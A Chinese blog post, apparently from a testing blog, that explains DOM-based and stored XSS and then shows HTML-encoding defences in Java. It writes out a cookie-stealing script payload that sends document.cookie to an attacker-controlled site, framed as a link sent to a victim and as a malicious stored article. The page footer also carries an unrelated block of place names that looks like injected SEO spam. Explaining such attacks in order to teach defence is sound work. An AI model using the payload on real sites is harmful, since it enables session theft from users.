qileilove

          blog已經轉移至github,大家請訪問 http://qaseven.github.io/

          XSS攻擊及防御

           XSS又稱CSS,全稱Cross SiteScript,跨站腳本攻擊,是Web程序中常見的漏洞,XSS屬于被動式且用于客戶端的攻擊方式,所以容易被忽略其危害性。其原理是攻擊者向有XSS漏洞的網站中輸入(傳入)惡意的HTML代碼,當其它用戶瀏覽該網站時,這段HTML代碼會自動執行,從而達到攻擊的目的。如,盜取用戶Cookie、破壞頁面結構、重定向到其它網站等。
            XSS攻擊
            XSS攻擊類似于SQL注入攻擊,攻擊之前,我們先找到一個存在XSS漏洞的網站,XSS漏洞分為兩種,一種是DOM Based XSS漏洞,另一種是Stored XSS漏洞。理論上,所有可輸入的地方沒有對輸入數據進行處理的話,都會存在XSS漏洞,漏洞的危害取決于攻擊代碼的威力,攻擊代碼也不局限于script。
            DOM Based XSS
            DOM Based XSS是一種基于網頁DOM結構的攻擊,該攻擊特點是中招的人是少數人。
            場景一:
            當我登錄a.com后,我發現它的頁面某些內容是根據url中的一個叫content參數直接顯示的,猜測它測頁面處理可能是這樣,其它語言類似:
          <%@ page language="java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%>
          <!DOCTYPEhtmlPUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">
          <html>
          <head>
          <title>XSS測試</title>
          </head>
          <body>
          頁面內容:<%=request.getParameter("content")%>
          </body>
          </html>
            我知道了Tom也注冊了該網站,并且知道了他的郵箱(或者其它能接收信息的聯系方式),我做一個超鏈接發給他,超鏈接地址為:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,當Tom點擊這個鏈接的時候(假設他已經登錄a.com),瀏覽器就會直接打開b.com,并且把Tom在a.com中的cookie信息發送到b.com,b.com是我搭建的網站,當我的網站接收到該信息時,我就盜取了Tom在a.com的cookie信息,cookie信息中可能存有登錄密碼,攻擊成功!這個過程中,受害者只有Tom自己。那當我在瀏覽器輸入a.com?content=<script>alert(“xss”)</script>,瀏覽器展示頁面內容的過程中,就會執行我的腳本,頁面輸出xss字樣,這是攻擊了我自己,那我如何攻擊別人并且獲利呢?
            Stored XSS
            Stored XSS是存儲式XSS漏洞,由于其攻擊代碼已經存儲到服務器上或者數據庫中,所以受害者是很多人。
            場景二:
            a.com可以發文章,我登錄后在a.com中發布了一篇文章,文章中包含了惡意代碼,<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。這時Tom和Jack看到了我發布的文章,當在查看我的文章時就都中招了,他們的cookie信息都發送到了我的服務器上,攻擊成功!這個過程中,受害者是多個人。
            Stored XSS漏洞危害性更大,危害面更廣。
            XSS防御
            我們是在一個矛盾的世界中,有矛就有盾。只要我們的代碼中不存在漏洞,攻擊者就無從下手,我們要做一個沒有縫的蛋。XSS防御有如下方式。
            完善的過濾體系
            永遠不相信用戶的輸入。需要對用戶的輸入進行處理,只允許輸入合法的值,其它值一概過濾掉。
            Html encode
            假如某些情況下,我們不能對用戶數據進行嚴格的過濾,那我們也需要對標簽進行轉換。

            比如用戶輸入:<script>window.location.href=”http://www.baidu.com”;</script>,保存后最終存儲的會是:&lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;在展現時瀏覽器會對這些字符轉換成文本內容顯示,而不是一段可執行的代碼。
            其它
            下面提供兩種Html encode的方法。
            使用Apache的commons-lang.jar
            StringEscapeUtils.escapeHtml(str);// 漢字會轉換成對應的ASCII碼,空格不轉換
            自己實現轉換,只轉換部分字符
          private static String htmlEncode(char c) {
          switch(c) {
          case '&':
          return"&amp;";
          case '<':
          return"&lt;";
          case '>':
          return"&gt;";
          case '"':
          return"&quot;";
          case ' ':
          return"&nbsp;";
          default:
          return c +"";
          }
          }
          /** 對傳入的字符串str進行Html encode轉換 */
          public static String htmlEncode(String str) {
          if(str ==null || str.trim().equals(""))   return str;
          StringBuilder encodeStrBuilder = new StringBuilder();
          for (int i = 0, len = str.length(); i < len; i++) {
          encodeStrBuilder.append(htmlEncode(str.charAt(i)));
          }
          return encodeStrBuilder.toString();
          }

          posted on 2013-12-13 09:55 順其自然EVO 閱讀(1462) 評論(1)  編輯  收藏 所屬分類: 安全性測試

          評論

          # re: XSS攻擊及防御 2015-01-24 20:53 黃秋意

          .............................哦買噶  回復  更多評論   

          <2013年12月>
          24252627282930
          1234567
          891011121314
          15161718192021
          22232425262728
          2930311234

          導航

          統計

          常用鏈接

          留言簿(55)

          隨筆分類

          隨筆檔案

          文章分類

          文章檔案

          搜索

          最新評論

          閱讀排行榜

          評論排行榜

          主站蜘蛛池模板: 和平区| 巫山县| 平谷区| 民县| 新蔡县| 大渡口区| 长沙市| 铜山县| 美姑县| 和静县| 如东县| 广昌县| 墨脱县| 海原县| 西城区| 台湾省| 五家渠市| 黔西| 广安市| 雷州市| 汝城县| 临澧县| 苍南县| 承德市| 工布江达县| 曲阳县| 巴青县| 乳山市| 霍林郭勒市| 洞口县| 都兰县| 广东省| 花莲市| 上栗县| 金堂县| 深水埗区| 宝山区| 吴川市| 马龙县| 东乌珠穆沁旗| 大兴区|